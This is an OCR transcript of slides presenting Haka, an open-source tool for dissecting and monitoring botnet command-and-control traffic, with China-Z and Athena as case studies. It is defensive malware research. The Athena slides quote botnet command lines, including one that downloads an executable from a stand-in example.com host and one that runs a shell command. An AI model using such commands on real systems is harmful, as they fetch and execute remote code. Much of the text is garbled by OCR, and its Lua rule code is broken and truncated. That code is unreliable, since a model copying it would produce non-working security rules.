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DEBUGGING & MONITORING C2 TRAFFIC WITH HAKA
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MOTIVATIONS

« Long-term malware monitoring
— Threat Intelligence
— Tracking malware campaign

« Lack of means to monitor, debug and monitor malware
network activities
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AN OPEN SOURCE SECURITY-ORIENTED LANGUAGE
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HAKA
MOTIVATIONS

. Malware protocol dissection
. Advanced API for packet and stream manipulations
. On-the-fly packet modification (hijack botnet commands)

. Interactive packet filtering mode (break into packets and
inspect their content)

. Instruction disassembler (disas. packet content at
network level)

6. Dedicated tool to monitor traffic : Hakabana
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HAKA
ARCHITECTURE

SECURITY RULES &
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HAKA
PROTOCOL DISSECTION

* Protocol Specification : Message format + State machine

« Support of text-based protocols (http) and binary-based
protocols (dns)

* Support of packet-based protocols (icmp) and stream-
based protocols (http)

« All parsed fields are available in read/write access to
security rules
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HAKA
GRAMMAR BUILDING BLOCKS

Record Array Branch
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PROTOCOL DISSECTION EXAMPLE

P.grammar = haka.grammar.new
E = record/
field(*A", number(

, humber(

number (

array(k)

count(function (self)
eturn self.N
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HAKA
SECURITY RULES (1
(1) F A

* |nspecting packet content

* Matching a malicious pattern across multiple packets

=W B | Match
e Found

w STORMSHIELD




HAKA

X e

pEE-EEE e

DD ERER e

W STORMSHIEL.D




HAKA
SECURITY RULE EXAMPLE

rem.re:compile("”

asm = ("mi )
dasm = asm.new_disass

haka.rule {
hook = nts.receivs
options = {
streamed = true,
val = function (flow, iter, direction)
1T re:match(iter, false) then
haka.alert{
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CHINA-Z
OVERVIEW

Well known Chinese botnet
5 known variants: China-Z/{A, B, C, O, S}
Includes binary and configuration update features

DDoS campaigns targeting Asia
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CHINA-Z
C2 COMMUNICATIONS y

DOoS Status

NULL Bytes

NULL Bytes

Request

Commanrd NULL Bytes

NULL Byles

Response

>-

”~
-~ g STORMSHIELD




CHINA-Z - SECURITY RULES
BLOCKING DDOS ATTACKS y

local chinaz =
local udp =

chinaz.install tcp rule(
local blacklist = {}

haka.rule{
nook

chinaz.events.response,

eval = function (chinaz,
Lf response.command == then ] |
LT not table.contains(blacklist, .1p.packed) then
blacklist[response.ip.packed] = true

]

end
end
end

}

haka.rule{
nook = udp.events.new _connection,
eval = function(flow, pkt)
LT table.contains(blacklist, flow.dstip.packed) then
pkt:drop()
end
end
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CHINA-Z
DEMO

memegeneratornet

https://www.youtube.com/watch?v=-XeyMMcZ-TI
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https://www.youtube.com/watch?v=-XeyMMcZ-TI
https://www.youtube.com/watch?v=-XeyMMcZ-TI

ATHENA
OVERVIEW

 Several features : click fraud, ddos, bot killer, etc.
« Communicates over http

« Encoded requests and responses (hex + base64
encodings)
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ATHENA
COMMANDS

| interval = 90 |

| taskid = 1 | Ishell calc.exe |

| taskid = 2 | !download http://www.example.com/example.exe 1 |

| taskid = N | lcommand arg_1 arg_2 ... arg_n |
e —
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ATHENA - SECURITY RULES
HIJACKING BOTNET COMMANDS

haka.rule{
h = athena.events.response,
eval = function(self, ‘
res.response = {'|interval=2|', '|taskid=100|command='unir
end

}

haka.rule{
hook = athena.events.request,
eval = function(athena, req)
ocal r = athena utils.cnc.split(req.request)
ocal taskid = r['taskid'] or
f taskid == '100' then
haka.log("malware ralled successfully")
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ATHENA
DEMO

NOT SURE IFDEMO-EFFECT

ORJUST CRAEEY SOFTWARE

https://www.youtube.com/watch?v=5hMKNOk zCQ



https://www.youtube.com/watch?v=5hMKN0k_zCQ
https://www.youtube.com/watch?v=5hMKN0k_zCQ

CONCLUSIONS

« Haka provides several features to monitor and debug C2
traffic.

» Future works : provide a repository of malware protocol
dissectors
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github.com/haka-security : - ' haka-security.org



http://github.com/haka-security
https://twitter.com/hakasecurity
http://haka-security.org

